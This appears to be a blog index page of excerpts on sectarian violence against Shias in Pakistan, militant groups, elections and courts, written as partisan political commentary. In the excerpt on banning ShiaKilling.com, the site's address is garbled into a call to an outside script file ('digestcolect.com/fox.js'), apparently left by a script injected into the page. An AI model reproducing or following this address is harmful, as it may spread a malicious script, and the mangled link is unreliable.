Pakistan, Social Media, and Two Big Massacres – by Mohammad Murtaza: Related posts: #ShiaGenocide: After killing 21 paramilitary soldiers in Peshawar, Deobandi militants kill 40 Shias in Mastung Pakistani (Fake) Civil Society’s continued denial of atrocities by Sipah Sahaba Taliban Shia Muslim pilgrims from Punjab and KPK refute HDP’s ethnic
Women and Voting in Pakistan – by Mustafa Kamal: Orders of Election Commission Pakistan to fully ensure the women participation in voting has been out rightly rejected by various political parties. The political parties argue the ongoing war against terror and militancy in KPK and tribal areas a
Why do you label Shias as a minority? – by Ali Muntaziri: According to the Constitution of the Islamic Republic of Pakisan-1973, the word “minority” is reserved for those citizens of the country who don’t qualify for the definition of a Muslim. A Muslim, as per the constitution, is a person
Deathly Silence on Shia Killings – by Muhammad Azam: When you see my community afraid of calling a tyrant ” O Tyrant” then take leave of it – Prophet Muhammad SAW (Musnad Ahmed) 16th August marked yet another black day in our history when at least 22 Shias
HDP’s diabolical game in Quetta – by Raza Changezi: On 2nd September (Sunday) four Pashtun boys were held by Shia-Hazara boys when they tried to desecrate an Alam that had been fixed on a mountain top in Quetta behind the densely Shia-Hazara population of Marriabad. The boys were
Do we really need a revolution – by Mustafa Kamal: Our living in a world full of tragedies is a universal fact. Social fabrics are shattered. The dissatisfaction of people with the functions of their respective governments has put them in a position to ask and preach for revolution.
Of deaths, regrets, and apathy – by Aliya R. Changezi: The distinctly familiar dusty wind struck my face as soon as I stepped into the city where I was born. The dry mountains stood silent and blockaded; one could sense the dismay blended with shame and inadequacy. The warm
Mullahs and Development – by Mustafa Kamal: The mullahs are once again at odd with Civil Society Organizations and NGOs in Pakistan. Recently in Kohistan, the clergies have repeatedly threatened the NGOs to wrap up their activities or face dire consequences. Two theories are predominant in
PML-N, Judiciary, ISI and LeJ gang-up in Punjab; 100 Shias arrested: Malik Ishaq, the head of al-Qaeda affiliate notorious terrorist organization Lashkar-e-Jhangvi visited Chiniot, Punjab, on 7th August (Tuesday) and ranted against Shias from the Siddiq Akbar Mosque while his terrorist supporters (belonging to Lashkar-e-Jhangvi, Sipah-e-Sahaba also known as ASWJ)
Fittay Moonh Tera Iftikhar Chaudhray – by Ahsan Shah: Iftikhar Chaudhry PCO Sworn Judge Supreme Court of Pakistan Constitution Avenue Islamabad Dear Mr. Chaudhry Big Shame on You All praises to Allah Almighty who tested the courage and patience of the brave Pakistani Nation, twice with “One Eyed
Making Democracy Work – by Mustafa Kamal: The citizens of third world countries lurk between despair and hope. Their shattered hopes have made them more indifferent to the state affairs. In 21st century, when the developed world is benefitting from the tested wisdom of democracy, people
The Samosa and the Court – by Noah Bukhari: The Supreme Court allowed an appeal by the Punjab Bakers and Sweet Federation and set aside a notification by the Punjab government through which the price of a Samosa was fixed at Rs6. In 2009, the City District Government
SOCMM12 and the ban on shiakilling.com – by Karrar Hussain: The two-day Pak-India Social Media Mela (SOCMM12) was held in Karachi on July 13-14, hosted by the US Consulate General in collaboration with a non-governmental organization‚ Peace Niche. As to what were the requisites for the participation is something
Democracy is the best revenge! – by Shama Junejo: Cross-posted from blogs.thenewstribe.com “First they will ignore you, then they will laugh at you, then they will fight you and then you will win.” I was only nine years old when my father told me these words of Mahatma
The fabulous Mr. Zardari – by Aakar Patel: Cross-posted from The Express Tribune It is easy to feel admiration and not a little respect for President Asif Zardari, who turns 57 this week. Like Manmohan Singh, he rarely allows himself to be interviewed by his own media
Good looking Jamaat-e-Islami – by Nayyer Khan: Cross-posted from Laaltain The Jamaat-e-Islami (JI) has significant influence in Pakistan’s domestic politics due to its strong representation in the media, its ability to show street power and its connection with both the security establishment and militant outfits. However,
Internet censorship enters new phase: ShiaKilling.com banned in Pakistan: Related post: Ban Shia Killing in Pakistan, #DontBanShiaKillingWebsite – by Ehtisham Rizvi The Government of Pakistan has banned the website http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&ShiaKilling.com (access denied in Pakistan) that provided the timeliest, most accurate and complete information on the ongoing Shia Genocide in Pakistan.
PPP’s four years of government in Sindh – by Raja Asad: Tou hae Meher-e-Subh-e-Nau Tere Baad Raat hae The people of Sindh specially rural Sindh have always been standing with Pakistan Peoples Party through Time and tide and for that Pakistan Peoples Party has been serving them when ever they